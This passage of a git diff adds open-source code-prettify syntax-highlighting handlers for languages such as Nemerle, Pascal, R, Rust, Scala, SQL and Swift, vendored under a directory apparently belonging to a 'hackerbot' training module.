+                         'Z[A-Z]*|';   
+
+var intrinsic = intrinsicVariables + intrinsicFunctions;                  
+
+
+var shortcutStylePatterns = [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double or single quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^(?:"(?:[^"]|\\.)*")/, null, '"']
+  ];
+
+var fallthroughStylePatterns = [
+         // A line comment that starts with ;
+         [PR['PR_COMMENT'],     /^;[^\r\n]*/, null, ';'],
+         // Add intrinsic variables and functions as declarations, there not really but it mean
+         // they will hilighted differently from commands.
+         [PR['PR_DECLARATION'], new RegExp('^(?:\\$(?:' + intrinsic + '))\\b', 'i'), null],
+         // Add commands as keywords
+         [PR['PR_KEYWORD'], new RegExp('^(?:[^\\$]' + commands + ')\\b', 'i'), null],
+         // A number is a decimal real literal or in scientific notation. 
+         [PR['PR_LITERAL'],
+          /^[+-]?(?:(?:\.\d+|\d+(?:\.\d*)?)(?:E[+\-]?\d+)?)/i], 
+         // An identifier
+         [PR['PR_PLAIN'], /^[a-z][a-zA-Z0-9]*/i],
+         // Exclude $ % and ^
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r\xA0\"\$;%\^]|_/]
+  ];
+// Can't use m as its already used for MatLab
+PR.registerLangHandler(PR.createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns), ['mumps']);
+})();
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-n.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-n.js
new file mode 100644
index 000000000..9d29fd74e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-n.js
@@ -0,0 +1,67 @@
+/**
+ * @license
+ * Copyright (C) 2011 Zimin A.V.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for the Nemerle language.
+ * http://nemerle.org
+ * @author Zimin A.V.
+ */
+(function () {
+  // http://nemerle.org/wiki/index.php?title=Base_keywords
+  var keywords = 'abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|'
+         + 'fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|'
+         + 'null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|'
+         + 'syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|'
+         + 'assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|'
+         + 'otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield';
+
+  PR['registerLangHandler'](PR['createSimpleLexer'](
+      // shortcutStylePatterns
+      [
+        [PR['PR_STRING'], /^(?:\'(?:[^\\\'\r\n]|\\.)*\'|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/, null, '"'],
+        [PR['PR_COMMENT'], /^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\r\n]*)/, null, '#'],
+        [PR['PR_PLAIN'], /^\s+/, null, ' \r\n\t\xA0']
+      ],
+      // fallthroughStylePatterns
+      [
+        [PR['PR_STRING'], /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null],
+        [PR['PR_STRING'], /^<#(?:[^#>])*(?:#>|$)/, null],
+        [PR['PR_STRING'], /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/, null],
+        [PR['PR_COMMENT'], /^\/\/[^\r\n]*/, null],
+        [PR['PR_COMMENT'], /^\/\*[\s\S]*?(?:\*\/|$)/, null],
+        [PR['PR_KEYWORD'], new RegExp('^(?:' + keywords + ')\\b'), null],
+        [PR['PR_TYPE'], /^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\b/, null],
+        [PR['PR_LITERAL'], /^@[a-z_$][a-z_$@0-9]*/i, null],
+        [PR['PR_TYPE'], /^@[A-Z]+[a-z][A-Za-z_$@0-9]*/, null],
+        [PR['PR_PLAIN'], /^'?[A-Za-z_$][a-z_$@0-9]*/i, null],
+        [PR['PR_LITERAL'], new RegExp(
+             '^(?:'
+  // A hex number
+             + '0x[a-f0-9]+'
+  // or an octal or decimal number,
+             + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)'
+  // possibly in scientific notation
+             + '(?:e[+\\-]?\\d+)?'
+             + ')'
+  // with an optional modifier like UL for unsigned long
+             + '[a-z]*', 'i'), null, '0123456789'],
+
+        [PR['PR_PUNCTUATION'], /^.[^\s\w\.$@\'\"\`\/\#]*/, null]
+      ]),
+      ['n', 'nemerle']);
+})();
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-pascal.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-pascal.js
new file mode 100644
index 000000000..0d93ecd5d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-pascal.js
@@ -0,0 +1,49 @@
+/**
+ * @license
+ * Copyright (C) 2013 Peter Kofler
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Contributed by peter dot kofler at code minus cop dot org
+
+/**
+ * @fileoverview
+ * Registers a language handler for (Turbo) Pascal.
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-pascal">(my Pascal code)</pre>
+ *
+ * @author peter dot kofler at code minus cop dot org
+ */
+
+PR.registerLangHandler(
+    PR.createSimpleLexer(
+        [ // shortcutStylePatterns
+          // 'single-line-string'
+          [PR.PR_STRING,        /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$))/, null, '\''],
+          // Whitespace
+          [PR.PR_PLAIN,         /^\s+/, null, ' \r\n\t\xA0']
+        ],
+        [ // fallthroughStylePatterns
+          // A cStyleComments comment (* *) or {}
+          [PR.PR_COMMENT,       /^\(\*[\s\S]*?(?:\*\)|$)|^\{[\s\S]*?(?:\}|$)/, null],
+          [PR.PR_KEYWORD,       /^(?:ABSOLUTE|AND|ARRAY|ASM|ASSEMBLER|BEGIN|CASE|CONST|CONSTRUCTOR|DESTRUCTOR|DIV|DO|DOWNTO|ELSE|END|EXTERNAL|FOR|FORWARD|FUNCTION|GOTO|IF|IMPLEMENTATION|IN|INLINE|INTERFACE|INTERRUPT|LABEL|MOD|NOT|OBJECT|OF|OR|PACKED|PROCEDURE|PROGRAM|RECORD|REPEAT|SET|SHL|SHR|THEN|TO|TYPE|UNIT|UNTIL|USES|VAR|VIRTUAL|WHILE|WITH|XOR)\b/i, null],
+          [PR.PR_LITERAL,       /^(?:true|false|self|nil)/i, null],
+          [PR.PR_PLAIN,         /^[a-z][a-z0-9]*/i, null],
+          // Literals .0, 0, 0.0 0E13
+          [PR.PR_LITERAL,       /^(?:\$[a-f0-9]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+\-]?\d+)?)/i,  null, '0123456789'],
+          [PR.PR_PUNCTUATION,   /^.[^\s\w\.$@\'\/]*/, null]
+        ]),
+    ['pascal']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-proto.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-proto.js
new file mode 100644
index 000000000..ba18e2bf4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-proto.js
@@ -0,0 +1,37 @@
+/**
+ * @license
+ * Copyright (C) 2006 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Protocol Buffers as described at
+ * http://code.google.com/p/protobuf/.
+ *
+ * Based on the lexical grammar at
+ * http://research.microsoft.com/fsharp/manual/spec2.aspx#_Toc202383715
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](PR['sourceDecorator']({
+        'keywords': (
+            'bytes,default,double,enum,extend,extensions,false,'
+            + 'group,import,max,message,option,'
+            + 'optional,package,repeated,required,returns,rpc,service,'
+            + 'syntax,to,true'),
+        'types': /^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\b/,
+        'cStyleComments': true
+      }), ['proto']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-r.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-r.js
new file mode 100644
index 000000000..e25c75f1b
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-r.js
@@ -0,0 +1,59 @@
+/**
+ * @license
+ * Copyright (C) 2012 Jeffrey B. Arnold
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for S, S-plus, and R source code.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-r"> code </pre>
+ *
+ * Language definition from
+ * http://cran.r-project.org/doc/manuals/R-lang.html.
+ * Many of the regexes are shared  with the pygments SLexer,
+ * http://pygments.org/.
+ *
+ * Original: https://raw.github.com/jrnold/prettify-lang-r-bugs/master/lang-r.js
+ *
+ * @author jeffrey.arnold@gmail.com
+ */
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+            [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+	    [PR['PR_STRING'],      /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"'],
+	    [PR['PR_STRING'],      /^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/, null, "'"]
+        ],
+        [
+            [PR['PR_COMMENT'],     /^#.*/],
+	    [PR['PR_KEYWORD'],     /^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![A-Za-z0-9_.])/],
+	    // hex numbes
+	    [PR['PR_LITERAL'], /^0[xX][a-fA-F0-9]+([pP][0-9]+)?[Li]?/],
+	    // Decimal numbers
+            [PR['PR_LITERAL'], /^[+-]?([0-9]+(\.[0-9]+)?|\.[0-9]+)([eE][+-]?[0-9]+)?[Li]?/],
+	    // builtin symbols
+	    [PR['PR_LITERAL'], /^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|[0-9]+))(?![A-Za-z0-9_.])/],
+	    // assignment, operators, and parens, etc.
+	    [PR['PR_PUNCTUATION'], /^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|\*|\+|\^|\/|!|%.*?%|=|~|\$|@|:{1,3}|[\[\](){};,?])/],
+	    // valid variable names
+	    [PR['PR_PLAIN'], /^(?:[A-Za-z]+[A-Za-z0-9_.]*|\.[a-zA-Z_][0-9a-zA-Z\._]*)(?![A-Za-z0-9_.])/],
+	    // string backtick
+	    [PR['PR_STRING'], /^`.+`/]
+        ]),
+    ['r', 's', 'R', 'S', 'Splus']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rd.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rd.js
new file mode 100644
index 000000000..e85bdc9de
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rd.js
@@ -0,0 +1,50 @@
+/**
+ * @license
+ * Copyright (C) 2012 Jeffrey Arnold
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Support for R documentation (Rd) files
+ *
+ * Minimal highlighting or Rd files, basically just highlighting
+ * macros. It does not try to identify verbatim or R-like regions of
+ * macros as that is too complicated for a lexer.  Descriptions of the
+ * Rd format can be found
+ * http://cran.r-project.org/doc/manuals/R-exts.html and
+ * http://developer.r-project.org/parseRd.pdf.
+ *
+ * @author Jeffrey Arnold
+ */
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+            // whitespace
+            [PR['PR_PLAIN'],   /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+            // all comments begin with '%'
+            [PR['PR_COMMENT'], /^%[^\r\n]*/, null, '%']
+        ],
+        [// special macros with no args
+            [PR['PR_LITERAL'], /^\\(?:cr|l?dots|R|tab)\b/],
+	    // macros
+            [PR['PR_KEYWORD'], /^\\[a-zA-Z@]+/],
+	    // highlighted as macros, since technically they are
+            [PR['PR_KEYWORD'],  /^#(?:ifn?def|endif)/ ],
+	    // catch escaped brackets
+	    [PR['PR_PLAIN'], /^\\[{}]/],
+            // punctuation
+            [PR['PR_PUNCTUATION'], /^[{}()\[\]]+/]
+        ]),
+    ['Rd', 'rd']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rust.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rust.js
new file mode 100644
index 000000000..0df22b505
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-rust.js
@@ -0,0 +1,81 @@
+/**
+ * @license
+ * Copyright (C) 2015 Chris Morgan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Rust.
+ *
+ * Derived from prior experience implementing similar things in a few environments,
+ * most especially rust.vim.
+ *
+ * @author me@chrismorgan.info
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer']([], [
+		// Whitespace
+		[PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/],
+
+		// Single line comments
+		[PR['PR_COMMENT'], /^\/\/.*/],
+		// Block comments (sadly I do not see how to make this cope with comment nesting as it should)
+		[PR['PR_COMMENT'], /^\/\*[\s\S]*?(?:\*\/|$)/],//, null],
+		// String and character literals
+		[PR['PR_STRING'], /^b"(?:[^\\]|\\(?:.|x[\da-fA-F]{2}))*?"/],  // Bytes literal
+		[PR['PR_STRING'], /^"(?:[^\\]|\\(?:.|x[\da-fA-F]{2}|u\{\[\da-fA-F]{1,6}\}))*?"/],  // String literal
+		[PR['PR_STRING'], /^b?r(#*)\"[\s\S]*?\"\1/],  // Raw string/bytes literal
+		[PR['PR_STRING'], /^b'([^\\]|\\(.|x[\da-fA-F]{2}))'/],  // Byte literal
+		[PR['PR_STRING'], /^'([^\\]|\\(.|x[\da-fA-F]{2}|u\{[\da-fA-F]{1,6}\}))'/],  // Character literal
+
+		// Lifetime
+		[PR['PR_TAG'], /^'\w+?\b/],
+
+		// Keywords, reserved keywords and primitive types
+		[PR['PR_KEYWORD'], /^(?:match|if|else|as|break|box|continue|extern|fn|for|in|if|impl|let|loop|pub|return|super|unsafe|where|while|use|mod|trait|struct|enum|type|move|mut|ref|static|const|crate)\b/],
+		[PR['PR_KEYWORD'], /^(?:alignof|become|do|offsetof|priv|pure|sizeof|typeof|unsized|yield|abstract|virtual|final|override|macro)\b/],
+		[PR['PR_TYPE'], /^(?:[iu](8|16|32|64|size)|char|bool|f32|f64|str|Self)\b/],
+
+		// Rust 1.0 prelude items
+		[PR['PR_TYPE'], /^(?:Copy|Send|Sized|Sync|Drop|Fn|FnMut|FnOnce|Box|ToOwned|Clone|PartialEq|PartialOrd|Eq|Ord|AsRef|AsMut|Into|From|Default|Iterator|Extend|IntoIterator|DoubleEndedIterator|ExactSizeIterator|Option|Some|None|Result|Ok|Err|SliceConcatExt|String|ToString|Vec)\b/],
+
+		// Literals:
+		[PR['PR_LITERAL'], /^(self|true|false|null)\b/],
+		// A number is a hex integer literal, a decimal real literal, or in
+		// scientific notation.
+		// Integer literals: decimal, hexadecimal, octal, binary.
+		[PR['PR_LITERAL'], /^\d[0-9_]*(?:[iu](?:size|8|16|32|64))?/],
+		[PR['PR_LITERAL'], /^0x[a-fA-F0-9_]+(?:[iu](?:size|8|16|32|64))?/],
+		[PR['PR_LITERAL'], /^0o[0-7_]+(?:[iu](?:size|8|16|32|64))?/],
+		[PR['PR_LITERAL'], /^0b[01_]+(?:[iu](?:size|8|16|32|64))?/],
+		// Float literals
+		[PR['PR_LITERAL'], /^\d[0-9_]*\.(?![^\s\d.])/],
+		[PR['PR_LITERAL'], /^\d[0-9_]*(?:\.\d[0-9_]*)(?:[eE][+-]?[0-9_]+)?(?:f32|f64)?/],
+		[PR['PR_LITERAL'], /^\d[0-9_]*(?:\.\d[0-9_]*)?(?:[eE][+-]?[0-9_]+)(?:f32|f64)?/],
+		[PR['PR_LITERAL'], /^\d[0-9_]*(?:\.\d[0-9_]*)?(?:[eE][+-]?[0-9_]+)?(?:f32|f64)/],
+
+		// Macro invocations (an identifier plus a !)
+		[PR['PR_ATTRIB_NAME'], /^[a-z_]\w*!/i],
+		// An identifier (sorry, this should be unicode)
+		[PR['PR_PLAIN'], /^[a-z_]\w*/i],
+		// Attributes
+		[PR['PR_ATTRIB_VALUE'], /^#!?\[[\s\S]*?\]/],
+		// All the punctuation
+		[PR['PR_PUNCTUATION'], /^[+\-/*=^&|!<>%[\](){}?:.,;]/],
+		// Anything else (which is probably illegal, as all the legal stuff should have been covered) can be plain
+		[PR['PR_PLAIN'], /./]
+		]),
+    ['rust']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-scala.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-scala.js
new file mode 100644
index 000000000..01b54aca6
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-scala.js
@@ -0,0 +1,56 @@
+/**
+ * @license
+ * Copyright (C) 2010 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Scala.
+ *
+ * Derived from http://lampsvn.epfl.ch/svn-repos/scala/scala-documentation/trunk/src/reference/SyntaxSummary.tex
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double or single quoted string 
+          // or a triple double-quoted multi-line string.
+         [PR['PR_STRING'],
+          /^(?:"(?:(?:""(?:""?(?!")|[^\\"]|\\.)*"{0,3})|(?:[^"\r\n\\]|\\.)*"?))/,
+          null, '"'],
+         [PR['PR_LITERAL'],     /^`(?:[^\r\n\\`]|\\.)*`?/, null, '`'],
+         [PR['PR_PUNCTUATION'], /^[!#%&()*+,\-:;<=>?@\[\\\]^{|}~]+/, null,
+          '!#%&()*+,-:;<=>?@[\\]^{|}~']
+        ],
+        [
+         // A symbol literal is a single quote followed by an identifier with no
+         // single quote following
+         // A character literal has single quotes on either side
+         [PR['PR_STRING'],      /^'(?:[^\r\n\\']|\\(?:'|[^\r\n']+))'/],
+         [PR['PR_LITERAL'],     /^'[a-zA-Z_$][\w$]*(?!['$\w])/],
+         [PR['PR_KEYWORD'],     /^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\b/],
+         [PR['PR_LITERAL'],     /^(?:true|false|null|this)\b/],
+         [PR['PR_LITERAL'],     /^(?:(?:0(?:[0-7]+|X[0-9A-F]+))L?|(?:(?:0|[1-9][0-9]*)(?:(?:\.[0-9]+)?(?:E[+\-]?[0-9]+)?F?|L?))|\\.[0-9]+(?:E[+\-]?[0-9]+)?F?)/i],
+         // Treat upper camel case identifiers as types.
+         [PR['PR_TYPE'],        /^[$_]*[A-Z][_$A-Z0-9]*[a-z][\w$]*/],
+         [PR['PR_PLAIN'],       /^[$a-zA-Z_][\w$]*/],
+         [PR['PR_COMMENT'],     /^\/(?:\/.*|\*(?:\/|\**[^*/])*(?:\*+\/?)?)/],
+         [PR['PR_PUNCTUATION'], /^(?:\.+|\/)/]
+        ]),
+    ['scala']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-sql.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-sql.js
new file mode 100644
index 000000000..3f0d76715
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-sql.js
@@ -0,0 +1,59 @@
+/**
+ * @license
+ * Copyright (C) 2008 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for SQL.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-sql">(my SQL code)</pre>
+ *
+ *
+ * http://savage.net.au/SQL/sql-99.bnf.html is the basis for the grammar, and
+ * http://msdn.microsoft.com/en-us/library/aa238507(SQL.80).aspx and
+ * http://meta.stackoverflow.com/q/92352/137403 as the bases for the keyword
+ * list.
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double or single quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^(?:"(?:[^\"\\]|\\.)*"|'(?:[^\'\\]|\\.)*')/, null,
+          '"\'']
+        ],
+        [
+         // A comment is either a line comment that starts with two dashes, or
+         // two dashes preceding a long bracketed block.
+         [PR['PR_COMMENT'], /^(?:--[^\r\n]*|\/\*[\s\S]*?(?:\*\/|$))/],
+         [PR['PR_KEYWORD'], /^(?:ADD|ALL|ALTER|AND|ANY|APPLY|AS|ASC|AUTHORIZATION|BACKUP|BEGIN|BETWEEN|BREAK|BROWSE|BULK|BY|CASCADE|CASE|CHECK|CHECKPOINT|CLOSE|CLUSTERED|COALESCE|COLLATE|COLUMN|COMMIT|COMPUTE|CONNECT|CONSTRAINT|CONTAINS|CONTAINSTABLE|CONTINUE|CONVERT|CREATE|CROSS|CURRENT|CURRENT_DATE|CURRENT_TIME|CURRENT_TIMESTAMP|CURRENT_USER|CURSOR|DATABASE|DBCC|DEALLOCATE|DECLARE|DEFAULT|DELETE|DENY|DESC|DISK|DISTINCT|DISTRIBUTED|DOUBLE|DROP|DUMMY|DUMP|ELSE|END|ERRLVL|ESCAPE|EXCEPT|EXEC|EXECUTE|EXISTS|EXIT|FETCH|FILE|FILLFACTOR|FOLLOWING|FOR|FOREIGN|FREETEXT|FREETEXTTABLE|FROM|FULL|FUNCTION|GOTO|GRANT|GROUP|HAVING|HOLDLOCK|IDENTITY|IDENTITYCOL|IDENTITY_INSERT|IF|IN|INDEX|INNER|INSERT|INTERSECT|INTO|IS|JOIN|KEY|KILL|LEFT|LIKE|LINENO|LOAD|MATCH|MATCHED|MERGE|NATURAL|NATIONAL|NOCHECK|NONCLUSTERED|NOCYCLE|NOT|NULL|NULLIF|OF|OFF|OFFSETS|ON|OPEN|OPENDATASOURCE|OPENQUERY|OPENROWSET|OPENXML|OPTION|OR|ORDER|OUTER|OVER|PARTITION|PERCENT|PIVOT|PLAN|PRECEDING|PRECISION|PRIMARY|PRINT|PROC|PROCEDURE|PUBLIC|RAISERROR|READ|READTEXT|RECONFIGURE|REFERENCES|REPLICATION|RESTORE|RESTRICT|RETURN|REVOKE|RIGHT|ROLLBACK|ROWCOUNT|ROWGUIDCOL|ROWS?|RULE|SAVE|SCHEMA|SELECT|SESSION_USER|SET|SETUSER|SHUTDOWN|SOME|START|STATISTICS|SYSTEM_USER|TABLE|TEXTSIZE|THEN|TO|TOP|TRAN|TRANSACTION|TRIGGER|TRUNCATE|TSEQUAL|UNBOUNDED|UNION|UNIQUE|UNPIVOT|UPDATE|UPDATETEXT|USE|USER|USING|VALUES|VARYING|VIEW|WAITFOR|WHEN|WHERE|WHILE|WITH|WITHIN|WRITETEXT|XML)(?=[^\w-]|$)/i, null],
+         // A number is a hex integer literal, a decimal real literal, or in
+         // scientific notation.
+         [PR['PR_LITERAL'],
+          /^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],
+         // An identifier
+         [PR['PR_PLAIN'], /^[a-z_][\w-]*/i],
+         // A run of punctuation
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0+\-\"\']*/]
+        ]),
+    ['sql']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-swift.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-swift.js
new file mode 100644
index 000000000..0de6af4fa
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-swift.js
@@ -0,0 +1,60 @@
+/**
+ * @license
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Swift
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-swift">(my swift code)</pre>
+ * This file supports the following language extensions:
+ *     lang-swift - Swift
+ *
+ * I used https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/AboutTheLanguageReference.html
+ * as the source of truth for this. The revision from 2015-10-21 (Swift 2.1) was used in most recent update.
+ *
+ * @author cerech@google.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+          //whitespace
+          [PR['PR_PLAIN'],                /^[ \n\r\t\v\f\0]+/, null, ' \n\r\t\v\f\0'],
+          //string literals
+          [PR['PR_STRING'],               /^"(?:[^"\\]|(?:\\.)|(?:\\\((?:[^"\\)]|\\.)*\)))*"/, null, '"']
+        ],
+        [
+          //floating point literals
+          [PR['PR_LITERAL'],              /^(?:(?:0x[\da-fA-F][\da-fA-F_]*\.[\da-fA-F][\da-fA-F_]*[pP]?)|(?:\d[\d_]*\.\d[\d_]*[eE]?))[+-]?\d[\d_]*/, null],
+          //integer literals
+          [PR['PR_LITERAL'],              /^-?(?:(?:0(?:(?:b[01][01_]*)|(?:o[0-7][0-7_]*)|(?:x[\da-fA-F][\da-fA-F_]*)))|(?:\d[\d_]*))/, null],
+          //some other literals
+          [PR['PR_LITERAL'],              /^(?:true|false|nil)\b/, null],
+          //keywords
